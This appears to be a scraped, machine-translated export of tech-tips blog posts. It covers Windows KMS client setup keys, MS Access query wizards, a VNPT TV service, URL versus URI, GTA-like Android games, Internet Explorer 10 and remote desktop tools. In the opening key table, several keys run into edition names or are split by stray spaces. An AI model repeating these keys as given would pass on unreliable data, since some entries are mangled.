NDPH2V-TTNVB-4X9Q3-TJR4H-KHJW4Windows 10 EducationNW6C2 -QMPVW-D7KKK-3GKT6-VCFB2Windows 10 Education N2WH4N-8QGBV-H22JP-CT43Q-MDWWJWindows 10 Enterprise 2015 LTSBWNMTR-4C88C-JK8YV-HQ7T2-76DF9Windows 10 Enterprise 2015 LTSB N2F77B-TNFGY-69QQF-B8YKP-D69TJWindows 10 Enterprise 2016 LTSBDCPHK-NFMTC -H88MJ-PFHPY-QJ4BJWindows 10 Enterprise 2016 LTSB NQFFDN-GRT3P-VKWWX-X7T3R-8B639\nWindows Server 2012 R2 and Windows 8.1 Operating system version KMS Client Setup KeyWindows 8.1 ProfessionalGCRJD-8NW9H-F2CDX-CCM8D-9D6T9Windows 8.1 Professional NHMCNV-VVBFX-7HMBH-CTY9B-B4FXYWindows 8.1 EnterpriseMHF9N-XY6XB-WVXMC-BTDCT MKKG7 Windows 8.1 Enterprise NTT4HM-HN7YT-62K67-RGRQJ-JFFXWWindows Server 2012 R2 Server StandardD2N9P-3P6X9-2R39C-7RTCD-MDVJX Windows Server 2012 R2 DatacenterW3GGN-FT8W3-Y4M27-J84CP-Q3VJ9 Windows Server 2012 R2 EssentialsKNC87-3J2TX-XB4WP-VCPJV-M4FWM\nWindows Server 2012 and Windows 8 OS version KMS Client Setup KeyWindows 8 ProfessionalNG4HW-VH26C-733KW-K6F98-J8CK4Windows 8 Professional NXCVCF-2NXM9-723PB-MHCB7-2RYQQWindows 8 Enterprise32JNW-9KQ84-P47T8-D8GGY-CWCK7Windows 8 Enterprise NJMNMF-RHW7P-DMY6X-RF3DR-X2BQTWindows Server 2012BN3D2-R7TKB-3YPBD-8DRP2-27GG4Windows Server 2012 N8N2M2-HWPGY-7PGT9-HGDD8-GVGGYWindows Server 2012 Single Language2WN2H-YGCQR-KFX6K-CD6TF-84YXQWindows Server 2012 Country Specific4K36P-JN4VD-GDC6V-KDT89-DYFKPWindows Server 2012 Server StandardXC9B7- NBPP2-83J2H-RHMBY-92BT4Windows Server 2012 MultiPoint StandardHM7DN-YVMH3-46JC3-XYTG7-CYQJJWindows Server 2012 MultiPoint PremiumXNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2GWindows Server 2012 Datacenter48HP8-DN98B-MYWDG-T2DCC-8W83P\nWindows 7 and Windows Server 2008 R2 OS version KMS Client Setup KeyWindows 7 ProfessionalFJ82H-XT6CR-J8D7P-XQJJ2-GPDD4Windows 7 Professional NMRPKT-YTG23-K7D7T-X2JMM-QY7MGWindows 7 Professional EW82YF-2Q76Y-63HXB-FGJG9-GF7QXWindows 7 Enterprise33PXH-7Y6KF-2VJC9-XBBR8-HVTHHWindows 7 Enterprise NYDRBP-3D83W-TY26F-D46B2-XCKRJWindows 7 Enterprise EC29WB-22CC8-VJ326-GHFJW-H9DH4 Windows Server 2008 R2 Web6TPJF-RBVHG-WBW2R-86QPH-6RTM4 Windows Server 2008 R2 HPC editionTT8MH-CG224-D3D7Q-498W2-9QCTXWindows Server 2008 R2 StandardYC6KT-GKW9T-YTKYR-T4X34-R7VHCWindows Server 2008 R2 Enterprise489J6-VHDMP-X63PK-3K798-CPX3Y Windows Server 2008 R2 Datacenter74YFP-3QFB3-KQT8W-PMXWJ-7M648Windows Server 2008 R2 for Itanium-based SystemsGT63C-RJFQ3-4GMB6-BRFB9-CB83V\nWindows Vista and Windows Server 2008 Operating system version KMS Client Setup KeyWindows Vista BusinessYFKBB-PQJJV-G996G-VWGXY-2V3X8 Windows Vista Business NHMBQG-8H2RH-C77VX-27R82-VMQBTWindows Vista EnterpriseVKK3X-68KWM-X2YGT-QR4M6-4BWMVWindows Vista Enterprise NVTC42-BM838-43QHV-84HX6-XJXKVWindows Web Server 2008WYR28-R7TFJ-3X2YQ-YCY4H-M249DWindows Server 2008 StandardTM24T-X9RMF-VWXK6-X8JC9-BFGM2Windows Server 2008 Standard without Hyper-VW7VD6-7JFBR-RX26B-YKQ3Y-6FFFJWindows Server 2008 EnterpriseYQGMW-MPWTJ-34KDK-48M3W-X4Q6VWindows Server 2008 Enterprise without Hyper-V39BXF-X8Q23-P2WWT-38T2F-G3FPGWindows Server 2008 HPCRCTX3-KWVHP-BR6TB-RB6DM-6X7HPWindows Server 2008 Datacenter7M67G-PC374-GR742-YH8V4-TCBY3Windows Server 2008 Datacenter without Hyper-V22XQ2-VRXRG-P8D42-K34TD-G3QQCWindows Server 2008 for Itanium-Based Systems4DWFP-JF3DJ-B7DTH-78FJB-PDRHK\nKey applies to Windows 10, Windows 8.1, Windows Server 2012 R2 Windows Server 2016 Windows 10 Windows Server 2012 R2 and Windows 8.1 Windows Server 2012 and Windows 8 Windows 7 and Windows Server 2008 R2 Windows Vista and Windows Server 2008 Windows 10 Edition\nRTM Generic Key (retail)\nKMS Client Setup Key\nWindows 10 Home YTMG3-N6DKC-DKB77-7M9GH-8HVX7 Windows 10 Home N 4CPRK-NM3K3-X6XXQ-RXX86-WXCHW Windows 10 Pro VK7JG-NPHTM-C97JM-9MPGT-3V66T W269N-WFGWX-YVC9B-4J6C9-T83GX Windows 10 Pro N 2B87N-8KFHP-DKV6R-Y2C8J-PKCKT MH37W-N47XK-V7XM9-C7227-GCQG9 Windows 10 Pro for Workstations DXG7C-N36C4-C4HTG-X4T3X-2YV77 NRG8B-VKK3Q-CXVCJ-9G2XF-6Q84J Windows 10 Pro N for Workstations WYPNQ-8C467 -V2W6J-TX4WX-WT2RQ 9FNHH-K3HBT-3W4TD-6383H-6XYWF Windows 10 Education YNMGQ-8RYV3-4PGQ3-C8XTP-7CFBY NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 Windows 10 Education 84NGF-MHBT6-FXBX8-QWJK7-DRR8H 2WH4N -8QGBV-H22JP-CT43Q-MDWWJ Windows 10 Pro Education 8PTT6-RNW4C-6V7J2-C2D3X-MHBPB 6TP4R-GNPTD-KYYHQ-7B7DP-J447Y Windows 10 Pro Education GJTYN-HDMQY-FRR76-HVGC7-QPF8P YVWGF-BXNMC-HTQYQ- CPQ99-66QFC Windows 10 Enterprise XGVPP-NMH47-7TTHJ-W3FW7-8HV2C NPPR9-FWDCX-D2C8J-H872K-2YT43 Windows 10 Enterprise G YYVX9-NTFWV-6MDM3-9PT4T-4M68B Windows 10 Enterprise GN 44RPN-FTY23-9VTTB-MP9BX-T84FV Windows 10 Enterprise N WGGHN-J 84D6-QYCPR-T7PJ7-X766F DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 Windows 10 Enterprise NK96Y-D9CD8-W44CQ-R8YTK-DYJWX FWN7H-PF93Q-4GGP8-M8RF3-MDWWW Windows 10 Enterprise 2015 LTSB WNMTR-4C88C-JK8YV-HQ7T2 -76DF9 Windows 10 Enterprise 2015 LTSB N 2F77B-TNFGY-69QQF-B8YKP-D69TJ LTSB DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ Windows 10 Enterprise 2016 LTSB N QFFDN-GRT3P-VKWWX-X7T3R-8B639 Windows 10 S 3NF4D -GF9GY-63VKH-QRC3V-7QW8P See more:\n2018 already, using Windows 7 should I upgrade to Windows 10? Instructions for installing Windows 10 Spring Creators Update Link to download the latest Windows 10 installer ncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2WUmrOiwcutZLChnpm8uL%2BMpJyyZZanvK55zKKaq6ejpLO1\n","link":"/post/list-of-default-windows-key-from-microsoft/","section":"post","tags":null,"title":"List of default Windows key from Microsoft"},{"body":"Access includes 4 different types of Wizard queries, and only one where you can see all of those query types. Select Query from the Insert menu, Access displays the New Query dialog box as shown in Figure 1.\n  Figure 1: New Query dialog box.\nNotice that there are 5 options listed in the dialog box. The first option (Design View) is not really a query, it allows you to create a query from a custom mixture. The purpose of the remaining 4 options is as follows:\n• Simple Query Wizard . This option allows you to create queries in the simplest way. This wizard is the same as when you double-click the Create Query By Using Wizard in the Database window (Figure 2).\n  Figure 2: Database window\n• Crosstab Query Wizard . This option creates a simple Crosstab query, shown at the beginning of the chapter. • Find Duplicates Query . Create a select query that displays the same records in a table. • Find Unmatched Query . Create a query that displays records that have no relationship to records in different tables. (This query is easy to use when working with relational databases, a concept that will be introduced in Chapter 13, ' Understanding data relationships'). The query you choose will determine which Wizard is used by Access. In the following sections, you will learn how to use three of the 4 Wizards given here. Create a simple query \n To create a simple query, select Simple Query Wizard from the New Query dialog box, then click the OK button. Similarly, you can also double click on the Create Query By Using Wizard option available when the Queries button is selected in the Database window. Then, Access displays the Simple Query Wizard dialog box as shown in Figure 3.\n  Figure 3: Simple Query Wizard dialog box.\nOn the left side of the Simple Query Wizard dialog box, you can use the drop down list to determine which sources Access should use for the new query. Note that you can use sources as tables or other queries. When the Customers database has only one table (Business Custormers table), Access selects it for you by default. If you are working with a database that contains tables and other queries, you can use the drop-down list to change the data sources that the Wizard uses.\nIn the lower left part of the dialog box is a list of all the fields defined in the selected table or query. If you change the data source in the entire list (described in the preceding paragraph), the available fields will change accordingly. You can use the list and controls on the right side of the list, to indicate which fields you want to be used on the query you are creating. To illustrate this example, select the Company Name , Address 1 , Address 2 , City , State , and Zip code fields. Make sure that after selecting each field, you must click your mouse on the\u0026gt; button. Then, Access displays the name of each field in the Selected Fields list at the bottom right of the dialog box. When selecting the fields, the dialog box appears as shown in Figure 4.\n  Figure 4: Simple Query Wizard dialog box after selecting some fields.\nWith the fields selected, you are ready to proceed to the next step in the Wizard. Click your mouse on the Next button, Access displays the dialog box shown in Figure 5. This is the last dialog box in this Wizard.\n  Figure 5: The final dialog box of the Simple Query Wizard.\nAt this interface, you can enter a name you want to use to save this query. The suggested name is simply the table name on which the query is based (Business Customers) with the word 'Query' added. The simple query you created using the previous dialog can be used for mailing labels, since it only contains address information for the list of customers. Enter the name Address List, then click your mouse on the Finish button. Access displays that query result as shown in Figure 6.\n  Figure 6: Results of Simple Query Wizard.\nCreate a Crosstab query To create a Crosstab query, first open the New Query dialog box by selecting Query from the Insert menu. From that dialog box, select the Crosstab Query Wizard and click your mouse on the OK button. Access displays the Crosstab Query Wizard dialog box shown in Figure 7.\n  Figure 7: The Crosstab Query Wizard dialog box.\nAt the top of the Crosstab Query Wizard dialog box, Access asks you which table you want to query the data to. Because this database has only one table (Business Customers), Access has selected it for you. If you are working with a database that contains tables and other queries, you can use the View area in the middle of the dialog box to change the data source that the Wizard offers.\nAt the bottom of the dialog box, the Wizard displays the completed Crosstab query. Access updates this presentation every time you make changes while using the Wizard. To switch to the next dialog box, click your mouse on the Next button (Figure 8).\n  Figure 8: Select lines.\nCrosstab queries allow you to determine the results displayed in both rows and columns. Using the Wizard, you should specify the fields you want to appear in each line.\nFor example, suppose you want to tabulate the number of active and inactive accounts. In the Available Fields list, you should select the Salesperson field and click your mouse on the \u0026gt; button. Note that the Wizard updates the crosstab template at the bottom of the dialog box. Next, you should select the State field and click your mouse on the \u0026gt; button. Next, the Wizard updates the crosstab template at the bottom of the dialog box as shown in Figure 8.\n  Figure 9: Query crosstab after selecting row title\nYou only follow Access to display salespeople and State on the left side of crosstab. Click your mouse on the Next button. Access displays the dialog box shown in Figure 10.\n  Figure 10: Select columns\nIn this dialog box, Access asks you to select the fields that it will display as columns. Since you want this query to indicate how many accounts are active for each vendor, you should select the Active field. After selecting the Active field, notice that Access updates as the form at the bottom of the dialog box. Click your mouse on the Next button to proceed. Access displays the dialog box shown in Figure 11.\n  Figure 11: Selecting operations for the query.\nIn this dialog box, Access asks you to determine what query you want to calculate. At the right side of the dialog box, the Functions box lists all the different available operations. You can perform multiple calculations on multiple fields, but some combinations of fields and operations cannot be performed. For example, if you select a text field, the average calculation cannot be done, you should only perform calculations on a numeric or monetary field.\nTo end this query, select the Company Name field and select the Count calculation. Note that the information in the sample area of ​​the dialog box changes with your selection. The query calculates how well the accounts are active (there is a company name for each account) in each state for each sales representative. Finally, note that there is a check box you can use to indicate that the query should provide a summary for each line. With a simple crosstab that has only 2 columns (active or inactive), a summary is probably not necessary. Click on the checkbox to turn off the summary. After the selection is completed, you can click your mouse on the Next button. Access will display the dialog box as shown in Figure 12.\n  Figure 12: Access asks you about the query name\nIn this dialog box, you complete the query creation and need to save it. Access asks you the name to use for this query. For names for other parts of the database, you should use some of the names described, such as Active Account Tally. Type in the name and click your mouse on the Finish button. Access will save the query and update the query list in the Database window, then open the query to display the results that have just been made. Figure 13 shows when the query is completed.\n  Figure 13: Results of the query.\nWhen you look at crosstab, one of the first things that you notice is that the columns are -1 and 0. Remember, the Active field is a field with a Yes / No data type, which means that Access stores the value. This field is like one of two numbers: -1 and 0. Thus, these numbers are also displayed in the title. After this chapter, you will learn how to change the title by changing the properties associated with the query. If you look at this strange case in the title section, you can see that crosstab provides the information you requested. It displays the account status on active (Yes or -1) and inactive (No or 0) for each state and rep. Crosstab Query Wizard is easy for you to create data queries. Create a Find Duplicates Query You can also use the New Query dialog to create a Find Duplicates query, which allows you to quickly search for a table with identical fields. Select the Find Duplicates Query Wizard in the dialog box and click your mouse on the OK button. In turn, Access displays the Find Duplicates Query Wizard dialog box as shown in Figure 14.\n  Figure 14: Find Duplicates Query Wizard dialog box.\nIn this dialog box, Access lists the data sources you can use for the query. Normally, you use a table as a data source, but with this Wizard you can use another query as well. Because the Business Customers table is unique in the Customers database, Access has selected this table for you. Click your mouse on the Next button to move to the dialog box shown in Figure 15.\n  Figure 15: Select a field to check.\nIn this dialog box, Access asks you which fields to check for duplicate values. Although there is no limit to the number of fields you can have in query checking, you should only select the fields needed to make sure there are no duplicates. In the case of the Business Customers table, simply check the Company Name and Contact fields to determine if there are duplicates. First, select the Company Name field and click your mouse on the \u0026gt; button. Next, select the Contact field and click on the \u0026gt; button. Access displays two fields in the order in the list to the right of the dialog box. After you have defined the fields, click your mouse on the Next button. Access displays the dialog box shown in Figure 16.\n  Figure 16: Displaying additional information.\nIn this dialog box, Access asks if you want the query to display more information. When reviewing duplicate records, you can use this information to help decide which records you want to save and which records you want to delete. For the Business Customers table, you want Access to display the Contact Phone , Last Order , Salesperson fields. Select a few fields (remember to click the \u0026gt; button after selecting each field). Access adds the name of each field to the list to the right of the dialog box. When done, click your mouse on the Next button, Access displays the dialog box shown in Figure 17.\n  Figure 17: End of query.\nNow that you have completed the query creation, Access asks you to name the query. From the Wizard's suggestion for the name of this query, click your mouse on the Finish button to accept the name. Access saves the query under this name and updates the query list in the Database window. Access opens the query to display the completed result as shown in Figure 18.\n  Figure 18: Results of Find Duplicates query.\nNow you can review the duplicate records and decide what you want to do with them. If you delete any record in the screen, Access will delete the corresponding record in the table below (Business Customers). For this reason, Find Duplicates queries are very helpful in managing the information in the table.\nncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYn9xfJJmo56ro6S7bn6RZqysoZ6cerLBxKuwZq%2BZr66zsNI%3D\n","link":"/post/ms-access-2003-lesson-22-using-query-wizards/","section":"post","tags":null,"title":"MS Access 2003 - Lesson 22: Using Query Wizards"},{"body":"With the desire to continuously improve service quality and increase many utilities for customers, VNPT Group has researched and provided multi-screen television service called MyTV Multiscreen.\n Multi-screen television service MyTV Multiscreen of VNPT\nWith MyTV Multiscreen, whether sitting in front of the TV or anywhere, customers can access the MyTV service to watch their favorite shows. The smart devices that customers are using such as TVs, mobile phones or tablets are synchronized with content, helping customers to switch programs from one device to another during viewing and saving. review viewed history and favorites for easy tracking by customers. Not only on the network infrastructure of VNPT, from now on, customers using the Internet, Wifi, 3G / 4G / 5G networks of different carriers can use the service.\nJust need to be a customer of MyTV service and own mobile phones / tablets with iOS 9.0 or Android 4.2 or above to easily install and use the feature. MyTV Multiscreen to meet the needs of watching TV, entertainment anytime, anywhere on many devices and multi-network. Currently, customers can experience MyTV Multiscreen for free from April 1, 2020 to June 30, 2020.\nUsing a single account without incurring any additional costs, the MyTV Multiscreen multi-screen feature brings many new utilities to customers in the era of technology television. With this feature, MyTV television service promises to further expand its market share in the paid television market, bringing maximum satisfaction to customers across the country.\nIn parallel with the deployment of the MyTV Multiscreen feature, the MyTV service provides more features that many customers expect. That is Remote Control (Remote Controller), Service registration and direct payment on the MyTV application (also known as Selfcare). And customers can use voice to control MyTV service on Smart TV.\nThe remote control feature is integrated on the MyTV Net application running on smartphones of popular Android and iOS operating systems. Customers use mobile phones to control MyTV and MyTV Net services on SmartTV with smart support features such as virtual keyboard, voice control.\nThe registration and direct payment (Selfcare) feature allows customers to register and pay the package completely online at MyTV service right on SmartTV.\n MyTV Multiscreen fully meets the needs of watching TV, entertainment anytime anywhere of the whole family\nEncourage customers to choose online utilities during the season, MyTV offers preferential services for customers when registering for services through Selfcare and online prepayment, 12% discount on Standard and Advanced packages. Standard package fee is 40,000 VND / month and Advanced package is 55,000 VND / month. When paying for packages with a term of more than 6 months, 12 months, customers are given 1 more month and 3 months of charge, especially, MyTV promotes the 7th and Sunday Golden Days from 11/4/2020 to 31st / 5/2020, customers register and pay online long-term prepayment on Golden Day is discounted 50% of the package, only from 20,000 VND / month.\nTo download the MyTV Multiscreen application, customers can install it on the Google Play app store / App Store or at: https://mytv.com.vn/tai-ve\nTo register and pay online, customers can follow the instructions at: https://bit.ly/3coeaEK\nRefer to the information on the website: mytv.com.vn or direct (free) to the switchboard: 18001166 for support.\nncG1vNJzZmismaXArq3KnmWcp51kurrA1WakrqSknsCkvsSepWasmJp6sbHRn5ycrF2iwq3AyKyaq52Vo3qnscCtrKudXaS7bsDHnmSroaOaerCyjK2cnKCepLmws9hmq56klau2tLXOpw%3D%3D\n","link":"/post/mytv-multiscreen-the-perfect-multi-screen-feature-on-the-rise-of-technology-television/","section":"post","tags":null,"title":"MyTV Multiscreen - the perfect multi-screen feature on the rise of technology television"},{"body":"URL (Uniform Resource Locator) URL (Uniform Resource Locator) is usually defined as a string leading to an address. This is a very commonly used way to locate resources on the web. It provides a way to retrieve the physical location, by describing the network location or primary access mechanism.\nThe protocol described in the URL is used to retrieve the resource and the resource name. The URL contains http / https at the top if it's a web-type resource. Similarly, the URL will start with ftp if the resource is a file and with mailto if the resource is an email address.\nThe syntax of a URL is shown below where the main body is used for the protocol and the remainder is used for the resource, including the site name or program name.\nhttps://tipsmake.com/genshin-impact-a-detailed-guide-for-the-beginners-genshin-impact Here, the domain name describes the server (web service) and the program name (path to the directory and file on the server).\nURI (Uniform Resource Identifier) Similar to a URL, a Uniform Resource Identifier (URI) is also a string of characters that identifies a resource on the web using the location, name, or both of these elements. It allows for uniform identification of resources.\nThe URI is also grouped as a locator, name, or both of these (suggesting it can describe a URL, URN, or both). The word 'identifier' in the URI refers to resources, regardless of the technique used.\nThe \"UR\" part of the URI is the same as in the URL, where a protocol is used to specify the method to access the resource and the name of the resource is further covered in the URL. URLs can be a type of URI that is not persistent. URN (Uniform Resource Name) needs to be unique and global.\n  URL is a \"subset\" of the URI\nThe difference between the URL and the URI URL\u0026nbsp; URL is used to describe an item's characteristics.\u0026nbsp; URLs that link a website, a component of the website or a program on a web page with the help of accessing methods such as protocols. The URL provides detailed information about the type of protocol to be used. URL is a type of URI.\u0026nbsp; URI The URI provides a technique for identifying an item's identity. The URI is used to distinguish one resource from another regardless of the method used. The URI does not contain a protocol specification. The URI is the \"parent set\" of the URL. URL What is URL ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nToZxmraKheqK6w2aroZ1dqr%2Bq\n","link":"/post/the-difference-between-the-url-and-the-uri/","section":"post","tags":null,"title":"The difference between the URL and the URI"},{"body":"Game offline for Android or like GTA 5 but small in size, is there not? The answer is yes and Taimienphi.vn will share with you top 5 offline games for Android like GTA 5 under 200MB will make you satisfied.\nGTA is an extremely popular open-world action adventure series that takes players to a vast world to explore and perform dramatic missions. Currently, there are 5 GTA games for Android, of which GTA 5 is the most popular that you can easily download from Play Store. However, the game is quite heavy. If your mobile device has a low profile or does not have a lot of free storage space, then try the following 5 great alternatives, with gameplay like GTA 5.\n1. Super Crime Steel War Hero Iron Flying Mech Robot In Super Crime Steel War Hero Iron Flying Mech Robot, you play the role of iron man, on the mission of catching criminals and rescuing innocent people. You will explore the vast city, steal, drive super cars, gun battles and more. Overall, this is like a GTA 5 mod, offering similar gameplay, although you will transform into an Iron Man-like character.\n  Game size: 156MB.\n- Outstanding features:\nAction-packed open world game. Explore the vast city. Attractive mission. Nice graphics. Download here\n2. Grand City Thug Crime Gangster Grand City Thug Crime Gangster is like a copy of GTA Vice City, from game icon to gameplay. You will play as a gangster, drive around and complete various missions to become a mafia boss in the city. In addition, the game also has a challenge mode with 10 levels of different difficulty for you to conquer.\n  Game size: 123MB.\n- Outstanding features:\n4 attractive modes: driving, shooting, freedom and challenge. Complete crime missions in limited time. Attractive gameplay and beautiful effects. 3 different characters to choose from. Download here\n3. Grand Gangsters 3D Grand Gangsters 3D focuses mainly on car thefts and running from the police, most other aspects of the open world gameplay have been scrapped. If you love street chases and gunfights, this is the option you must try.\n  - Game size: 21M\n- Outstanding features:\nA unique combination between shooter, racing and fighting games. Intuitive touch controls and beautiful 3D graphics. Countless quests and abilities in 4 different areas of the city. More than 15 types of weapons and vehicles. Download here\n4. Grand Gangster Miami City Auto Theft Another copy of GTA 5 on the list, Grand Gangster Miami City Auto Theft gives you a familiar feel in both gameplay and graphics. The main difference between these two open world titles is that in Grand Gangster Miami City Auto Theft, you are on the righteous side and your mission is to wipe out criminal gangs from the city.\n  - Game size: 80M\n- Outstanding features:\nWeapons and vehicles system is abundant. Diverse missions: driving, shooting, chasing. Great graphics and sound effects. Download here\n5. Gangs Town Story The gameplay of Gangs Town Story is more action-packed than the other titles on this list. Instead of playing the role of a normal criminal, you play as a mafia boss and aim to fight other criminal organizations in the city. There are hundreds of types of guns and vehicles in the game for you to use, including flamethrowers, grenade launchers, snipers and even tanks .\n  Game size: 80MB\n- Outstanding features:\nLarge open world with a series of action-packed missions. Weapons and vehicles are diverse. Customize the character as you like. Unlock amazing abilities to make completing missions easier. Download here\nHave you ever played any of the 5 games above? Each option offers an enjoyable and engaging experience. Therefore, if you are looking for games with GTA 5-like gameplay for low-end devices, you should try the games that I have introduced.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kqJ6WobavsYygmKado2KzsL6MmqWdqp%2BesW64yKScZp%2Bklnp2edSnm56qXWd9cbnB\n","link":"/post/top-5-offline-games-for-android-like-gta-5-under-200mb/","section":"post","tags":null,"title":"Top 5 offline games for Android like GTA 5 under 200MB"},{"body":"Known for its fast, flexible, fully touch-enabled capabilities, Internet Explorer 10 is the browser recommended for users whether business or personal. Below, we will introduce some interesting features of Internet Explorer 10.\n1. Fast and flexible Internet Explorer 10 is the fastest browser available today. The study of the two New Relic and Strangeloop Networks laboratories has shown the speed of IE10's breakthrough in the following table:\n    2. Full screen   IE10 gives users a real experience of the web world. The control bar only appears when the user actually needs control. At times when only a website is needed, this control disappears in \"silence\" .\n3. Flip Ahead   With Flip Ahead, IE10 creates a different 'Next' . Just swipe lightly, the user can go to the next page, or see the next post, next picture thanks to 'Flip Ahead' . Try Bing or YouTube searching on IE10 to experience Flip Ahead (IE settings) and swipe your hand forward or backward to experience the results.\n4. Pinning     IE10 helps users to attach favorite pages to the Start screen as an application. Just select the 'Pin to Start' button to create a 'dynamic square' on the big screen. Try with Facebook, Twitter, or CNN or any page you like to see IE10 bring updates to your site vividly.\n5. Snapping - Hanging 2 screens on the same window IE10 makes it easy to \"multitask\" when users install an IE10 screen on one side of the screen and other applications such as Mail, Xbox Music or Microsoft Office - open parallel on the other side of the screen. This is a typical example of a browser working in sync with every other application on the Windows operating system platform, especially Windows 8.\n    6. Safe   Internet Explorer 10 continues to top the browser team for malicious and phishing protection. Internet Explorer 10 offers improved SmartScreen Filter technology compared to older browser versions. According to a recent NSS Labs study, IE10 blocked 40% more malware than Chrome 21, 23 times more than Firefox 15 and Safari 5.\n7. Only 1 touch to share   The Windows charms bar seamlessly integrates with IE10 to help users share information. Simply swipe lightly on the screen, and you can send browsing information any way you want: email, social networking .\n8. Box of one Box This technology is built on the known platform of Internet Explorer before. Bar one Box helps quickly find and locate search pages. One box helps users quickly access favorite sites, pages attached to the taskbar (battery) and pages that are accessed in Internet Explorer 10.\n    9. Play the game on the browser Internet Explorer has partnered with game development companies to bring blockbuster games to play for free on the web. Typically, Contre Jour games, Atari Arcade and Cut The Rope have great experience on IE10 browser thanks to the ability to take advantage of this browser 's excellent hardware. When playing on IE10 browser platform, users get the smooth and rich graphics experience like playing on the application at the user's computer.\n  10. Ensuring privacy Do Not Track support is a bright feature of Internet Explorer 10. When Do Not Track feature is enabled, Internet Explorer sends Do Not Track messages to pages that users visit and these sites will be banned. collect personal information of users.\nDo Not Track is easy to activate with just one click in Internet Explorer 10. Similar to previous IE versions, Internet Explorer 10 supports InPrivate Browsing and Tracking Protection to ensure the privacy of protected users.\nMicrosoft's IE10 browser is available on Windows 8-based computers, but Windows 7 can be installed here.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5yKernqqVqMGqusZmnZ6ZpKq%2Fpr%2BMqKVmoZ6psrO6xK1knrCgobyzsdFmaGk%3D\n","link":"/post/10-interesting-features-on-internet-explorer-10/","section":"post","tags":null,"title":"10 interesting features on Internet Explorer 10"},{"body":"The section control software remote computer has had many years ago. Most of these tools are used by IT administrators and managers, they help IT support staff to easily access and repair computers remotely without having to go directly to the faulty computer. .\nNormally we have to use a ' main ' computer to remotely control the rest of the computers, but with the growing popularity of smartphones and tablets, even casual users with mobile phones have Can access home or work computers while they're on the go.\nHere is a list of more than 10 applications that make remote PC / laptop control useful for enterprise IT admins. It also helps to blur the lines between your devices, such as when on a business trip / traveling where we have to do something on the home / work computer, now let's use one in the software below!\n1. TeamViewer   Teamviewer is considered to be the top 1 software for remote control, it can run on Linux, Windows and Mac OS.\nAvailable in premium and free versions, TeamViewer is one of the most impressive remote control tools used for virtual meetings and sharing presentations. It has many features like providing full-time access to remote computers and servers, creating online meetings with support for up to 25 participants, etc.\nIn addition, setting up the connection and software installation is extremely easy and user-friendly. If you are an entrepreneur planning to hold online meetings or training, TeamViewer is always a good choice.\nDownload the software here\n2. Splashtop   With over 15 million users globally, Splashtop is one of the best remote PC remote control tools available. What makes this software different is its excellent screen refresh rate, which supports the ability to stream audio / video almost instantly.\nIf you're working in education, there's a special edition that can make the classroom even more lively and enjoyable. Of course the software also has other special options especially for individuals and businesses.\nDownload it here\n3. UltraViewer   Initially, I planned to place UltraViewer first on the list, but this software only supports Windows PC control, so it doesn't seem to be 'versatile'.\nHowever, UltraViewer is still definitely one of the best free remote control software. With its light capacity, simple software setup and fast speed, UltraViewer is worth a try.\nThe software also has a Portable version, meaning you can download and run it right away without installation.\nDownload the software here\n4. Anydesk   This remote control software has more than 300 million downloads, so no one can deny its power. AnyDesk works on all devices and operating systems including: Windows, macOS, iOS, Android, Linux, etc.\nIn addition, it also possesses very light capacity ( only 3MB ), the actual speed although it was limited in the free version, but I found it quite fast.\nPlease download the trial and if appropriate, do not hesitate to pay to support your producer! Don't worry when there is no 'extensive' wallet, the free version also covers most of the basic needs of the average user.\nDownload it here\n5. Chrome Remote Desktop   Surprise? Google Chrome also has an extension for remote control of your computer . It allows you to set up your computer for secure remote access.\nIf you own more than one device, this is a great tool for using your computer remotely, as there are virtually no interruptions during the connection process. The setup process can be a bit tricky and a bit 'tedious', but once it's done it's definitely worth the time spent installing because of the abundance of features.\nDownload it here\n6. Microsoft Remote Desktop   The remote computer control feature was present in Windows 7, but I know that few people use it and that Win 7 has died with very few users.\nSo if you are using Windows 10, please download this software for free on the Microsoft Store. The software really does not have any outstanding features but 'free', if you love simplicity, this is probably the right software for you.\nDownload it here\n7. TightVNC   VNC or Virtual Network Computing (virtual computer network) is a shared graphical desktop computer system that uses a framebuffer protocol to control a remote computer. TightVNC uses this system to provide high quality 'remote desktop monitoring' service.\nIts rich support with multiple operating systems makes this tool quite popular for businesses and IT administrators. If you are looking for a free PC / Laptop remote control program this is one of the best options.\nDownload it here\n8. Mikogo   Looking for high quality remote control software? Now Mikogo can also be an interesting choice.\nChanging control / presentation, multiple people can remotely control, create whiteboards and share files are some of the great features that Mikogo offers to users. If you are looking for a 'multifunctional' all-round screen sharing tool Mikogo is worth considering.\nDownload it here\n9. LogMeIn   This is one of the most popular remote desktop software because of its great features. One of the most notable features is the advanced configuration options offered to business users. If you want to share files, transfer files or even want to print remotely from any browser, LogMeIn is the perfect tool for you. Apart from all this, it has speed and offers good quality images.\nDownload it here\n10. pcAnywhere   This is a product of the famous Internet security brand Symantec, pcAnywhere that allows you to use your computer to access and control another PC remotely. It will allow you to retrieve documents, view archived data and even troubleshoot various problems remotely via a secure 'one-to-one' connection. pcAnywhere is easy to use and supports various operating systems and platforms including Windows, Linux, Mac and MS Pocket PC.\nDownload it here\n11. GoToMyPC   GoToMyPC is another free remote desktop software with a variety of tools, allowing you to freely access any computer remotely 'from anywhere'.\nIf you're using your mobile phone or tablet for business activities and want to stay connected to work from anywhere in the world or from home, GoToMyPC is the perfect solution for you.\nIt also promises strong security through AES encryption, and the best part is that it's incredibly easy to install and use.\nDownload it here\n12. Radmin   Radmin, also known as remote administration software, is a desktop sharing tool available in both free and premium versions.\nIt comes with two different modules called Server Module and Client Module , they must be installed on computers or systems ready to work remotely together. It is more suitable for users who want to access a network computer remotely via LAN or internet connection.\nDownload it here\nThe review of 10+ best free remote control software is here to end. Which software did you choose from this list, which program do you think is the best? Do not hesitate to comment and share views for us to exchange knowledge together!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWWp7KmedGepKislWKwsLrTq6alZaOks7XDwKucZmpgZ30%3D\n","link":"/post/10-best-free-remote-control-software-2020/","section":"post","tags":null,"title":"10+ best free remote control software 2020"},{"body":"TipsMake.com - When Microsoft officially announced Office 365 service, it was also the time when the company officially jumped into the online office 